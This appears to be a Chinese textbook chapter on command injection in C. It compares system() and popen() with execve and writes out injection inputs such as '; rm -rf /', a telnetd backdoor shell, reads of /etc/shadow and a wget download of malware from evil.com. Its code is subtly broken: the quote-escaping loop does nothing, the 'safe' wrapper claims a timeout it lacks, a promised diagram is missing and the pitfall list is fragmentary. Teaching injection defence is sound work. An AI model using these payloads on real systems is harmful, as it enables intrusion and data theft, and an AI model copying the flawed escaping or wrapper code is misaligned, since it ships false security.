第18章:命令行注入:system()、popen()、exec族函数的安全使用
说实话,命令行注入这个问题,我见过太多人栽跟头了。
你想想看,我们写C程序时,经常需要调用外部命令。比如执行个系统脚本、启动个进程、或者处理个文件。这时候system()、popen()、exec族函数就派上用场了。但问题也恰恰出在这里——这些函数如果使用不当,就是给攻击者开了一扇后门。
18.1 危险的system()函数
system()函数,说白了就是帮你启动一个shell,然后执行你传进去的命令字符串。它的原型很简单:
int system(const char *command);
但简单背后藏着大坑。我举个例子你就明白了:
// 危险!千万别这么写
char cmd[256];
sprintf(cmd, "ls -l %s", user_input);
system(cmd);
如果用户输入的是 ; rm -rf / 呢?那实际执行的命令就变成了:
ls -l ; rm -rf /
嗯,后果你自己想。
我在项目中遇到过这样一个案例:一个嵌入式设备的管理界面,用system()来重启网络服务。开发人员觉得用户输入的接口名不会有什么问题,结果有人输入了 eth0; telnetd -l /bin/sh,直接开了个后门。嗯,那次事故让我养成了一个习惯——能用别的方式就别用system()。
18.2 popen()同样不省心
popen()函数和system()本质上是同一类问题:
FILE *popen(const char *command, const char *type);
它也会启动一个shell来执行命令。所以,同样的注入风险依然存在。
// 危险的popen用法
char buf[128];
snprintf(buf, sizeof(buf), "grep %s /var/log/syslog", user_input);
FILE *fp = popen(buf, "r");
如果用户输入 root,那没问题。但如果输入 root; cat /etc/shadow 呢?
18.3 exec族函数:更安全的替代方案
exec族函数包括execl、execlp、execle、execv、execvp、execvpe。它们和system()最大的区别是什么?
exec族函数不调用shell。 它们直接加载可执行文件,把参数作为独立的字符串数组传进去。shell元字符在这里就是普通字符,没有任何特殊含义。
// 安全的execv用法
char *args[] = {"ls", "-l", user_input, NULL};
execv("/bin/ls", args);
就算user_input是 ; rm -rf /,execv也会把它当作一个文件名参数传给ls。ls会尝试列出名为 ; rm -rf / 的文件,而不是执行删除操作。
为什么会这样?因为execv直接把参数列表传给内核,中间没有shell解释器。说白了,就是绕过了那个最危险的环节。
18.4 execve:我最推荐的方案
在所有exec族函数中,我个人最推荐execve()。为什么?因为它让你能完全控制环境变量:
int execve(const char *pathname, char *const argv[], char *const envp[]);
你可以自己构建一个干净的环境,避免继承父进程中的危险变量(比如PATH、LD_PRELOAD等)。
// 安全的execve用法
char *args[] = {"ls", "-l", user_input, NULL};
char *env[] = {"PATH=/usr/bin", "HOME=/tmp", NULL};
execve("/bin/ls", args, env);
| 函数 | 是否调用shell | 注入风险 | 环境控制 |
|---|---|---|---|
| system() | 是 | 高 | 无 |
| popen() | 是 | 高 | 无 |
| execv/execve | 否 | 低 | 有(execve) |
18.5 如果必须用system(),怎么转义?
有些场景下,你确实绕不开system()。比如需要用到shell的通配符展开、管道组合等。这时候,你必须对用户输入做严格的shell元字符转义。
shell元字符包括:; & | ` $ ( ) { } [ ] < > ? * ! # ~ % 以及空格、制表符、换行符等。
转义的方法有两种:
- 用反斜杠转义:在每个元字符前加
\ - 用单引号包裹:单引号内的所有字符都失去特殊含义
我个人更推荐单引号方式,因为反斜杠转义容易遗漏:
// 单引号转义示例
char safe_input[256];
char *p, *q;
// 将用户输入中的单引号替换为'\''序列
// 然后用单引号包裹整个字符串
snprintf(safe_input, sizeof(safe_input), "'%s'", user_input);
// 替换safe_input中的每个单引号为'\''
for (p = safe_input, q = safe_input; *p; p++) {
if (*p == '\'') {
// 替换为'\''
// 注意:这里需要处理缓冲区溢出
}
}
char cmd[512];
snprintf(cmd, sizeof(cmd), "ls -l %s", safe_input);
system(cmd);
18.6 实战建议:用execve替代system
说了这么多,我总结一下我的实战经验:
- 能用execve,就别用system()。这是最根本的解决方案。
- 如果必须用system(),确保用户输入经过严格的转义和校验。
- 永远不要拼接用户输入到命令字符串中。用参数数组的方式传递。
- 设置最小权限:即使被攻破,也要让攻击者做不了什么。
下面是我在实际项目中常用的一个安全封装:
// 安全的命令执行封装
int safe_exec(const char *path, char *const args[], int timeout_sec) {
pid_t pid = fork();
if (pid == 0) {
// 子进程
// 设置干净的环境
char *env[] = {"PATH=/usr/bin:/bin", NULL};
execve(path, args, env);
// 如果execve失败
_exit(127);
} else if (pid > 0) {
// 父进程,等待子进程结束
int status;
waitpid(pid, &status, 0);
return WEXITSTATUS(status);
}
return -1;
}
你看,这样既避免了shell注入,又控制了环境变量,还加了超时机制。嗯,这才是我认为的"安全使用"。
18.7 知识体系总览
我把这一章的核心逻辑画成了图,方便你理解:
18.8 避坑指南
最后,分享几个我踩过的坑:
127.0.0.1; wget http://evil.com/malware -O /tmp/backdoor。正则只检查了IP格式,没过滤分号。嗯,从那以后我再也不信任正则过滤了。
$(cat /etc/shadow),shell执行了命令替换。所以我说,只要经过shell,就没有绝对的安全。
说白了,命令行注入的根因就一个:用户输入被当作代码执行了。解决思路也很简单:让用户输入永远是数据,不是代码。execve就是最好的实践。
记住:安全不是加一堆过滤函数,而是从架构上消除风险。用execve替代system,就是架构层面的安全设计。